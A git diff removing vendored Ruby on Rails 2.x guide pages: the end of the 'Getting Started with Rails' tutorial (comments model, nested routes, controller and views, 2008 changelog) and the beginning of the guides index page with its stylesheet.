-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>comments
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
-</tt></pre></div></div>
-<div class="para"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
-<h3 id="_associating_models">8.2. Associating Models</h3>
-<div class="para"><p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Each comment belongs to one post
-</p>
-</li>
-<li>
-<p>
-One post can have many comments
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
-  validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
-  has_many <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on Active Record associations, see the <a href="../association_basics.html">Active Record Associations</a> guide.</td>
-</tr></table>
-</div>
-<h3 id="_adding_a_route">8.3. Adding a Route</h3>
-<div class="para"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>post<span style="color: #990000">|</span>
-  post<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on routing, see the <a href="../routing_outside_in">Rails Routing from the Outside In</a> guide.</td>
-</tr></table>
-</div>
-<h3 id="_generating_a_controller">8.4. Generating a Controller</h3>
-<div class="para"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller Comments index show new edit
-</tt></pre></div></div>
-<div class="para"><p>This creates seven files:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>app/controllers/comments_controller.rb</tt> - The controller
-</p>
-</li>
-<li>
-<p>
-<tt>app/helpers/comments_helper.rb</tt> - A view helper file
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/index.html.erb</tt> - The view for the index action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/show.html.erb</tt> - The view for the show action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/new.html.erb</tt> - The view for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/edit.html.erb</tt> - The view for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>test/functional/comments_controller_test.rb</tt> - The functional tests for the controller
-</p>
-</li>
-</ul></div>
-<div class="para"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comments</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
-      redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
-    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
-      redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
-<div class="para"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
-</tt></pre></div></div>
-<div class="para"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
-<h3 id="_building_views">8.5. Building Views</h3>
-<div class="para"><p>Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.</p></div>
-<div class="para"><p>The <tt>index.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comments <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;table&gt;</span>
-  <span style="color: #FF0000">&lt;tr&gt;</span>
-    <span style="color: #FF0000">&lt;th&gt;</span>Commenter<span style="color: #FF0000">&lt;/th&gt;</span>
-    <span style="color: #FF0000">&lt;th&gt;</span>Body<span style="color: #FF0000">&lt;/th&gt;</span>
-  <span style="color: #FF0000">&lt;/tr&gt;</span>
-
-<span style="color: #FF0000">&lt;% for comment in @comments %&gt;</span>
-  <span style="color: #FF0000">&lt;tr&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.commenter %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.body %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post_comment_path(@post, comment), :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
-  <span style="color: #FF0000">&lt;/tr&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;/table&gt;</span>
-
-<span style="color: #FF0000">&lt;br /&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'New comment', new_post_comment_path(@post) %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back to Post', @post %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>new.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New comment<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>show.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comment on <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @comment.commenter %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @comment.body %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>edit.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing comment<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
-<h3 id="_hooking_comments_to_posts">8.6. Hooking Comments to Posts</h3>
-<div class="para"><p>As a final step, I'll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;h2&gt;</span>Comments<span style="color: #FF0000">&lt;/h2&gt;</span>
-<span style="color: #FF0000">&lt;% @post.comments.each do |c| %&gt;</span>
-        <span style="color: #FF0000">&lt;p&gt;</span>
-          <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-          <span style="color: #FF0000">&lt;%=h c.commenter %&gt;</span>
-        <span style="color: #FF0000">&lt;/p&gt;</span>
-
-        <span style="color: #FF0000">&lt;p&gt;</span>
-          <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-          <span style="color: #FF0000">&lt;%=h c.body %&gt;</span>
-        <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Manage Comments', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That's a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
-</div>
-<h2 id="_what_s_next">9. What's Next?</h2>
-<div class="sectionbody">
-<div class="para"><p>Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The <a href="http://manuals.rubyonrails.org/">Ruby On Rails guides</a>
-</p>
-</li>
-<li>
-<p>
-The <a href="http://groups.google.com/group/rubyonrails-talk">Ruby on Rails mailing list</a>
-</p>
-</li>
-<li>
-<p>
-The #rubyonrails channel on irc.freenode.net
-</p>
-</li>
-<li>
-<p>
-The <a href="http://wiki.rubyonrails.org/rails">Rails wiki</a>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Running <tt>rake doc:guides</tt> will put a full copy of the Rails Guides in the <tt>/doc/guides</tt> folder of your application. Open <tt>/doc/guides/index.html</tt> in your web browser to explore the Guides.
-</p>
-</li>
-<li>
-<p>
-Running <tt>rake doc:rails</tt> will put a full copy of the API documentation for Rails in the <tt>/doc/api</tt> folder of your application. Open <tt>/doc/api/index.html</tt> in your web browser to explore the API documentation.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-November 3, 2008: Formatting patch from Dave Rothlisberger
-</p>
-</li>
-<li>
-<p>
-November 1, 2008: First approved version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 16, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 13, 2008: First complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 12, 2008: More detail, rearrangement, editing by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 8, 2008: initial version by James Miller (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/index.html b/vendor/rails/railties/doc/guides/html/index.html
deleted file mode 100644
index 991b10c7..00000000
--- a/vendor/rails/railties/doc/guides/html/index.html
+++ /dev/null
@@ -1,349 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Ruby on Rails guides</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header"  class="notoc">
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container" class="notoc">
-		
-		<div id="content">
-				<h1>Ruby on Rails guides</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">This page is the result of ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a> and a work in progress.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</td>
-</tr></table>
-</div>
-<h2>Start Here</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="getting_started_with_rails.html">Getting Started with Rails</a></div>
-<div class="para"><p>Everything you need to know to install Rails and create your first application.</p></div>
-</div></div>
-<h2>Models</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="migrations.html">Rails Database Migrations</a></div>
-<div class="para"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
-</div></div>
-<div class="sidebarblock">
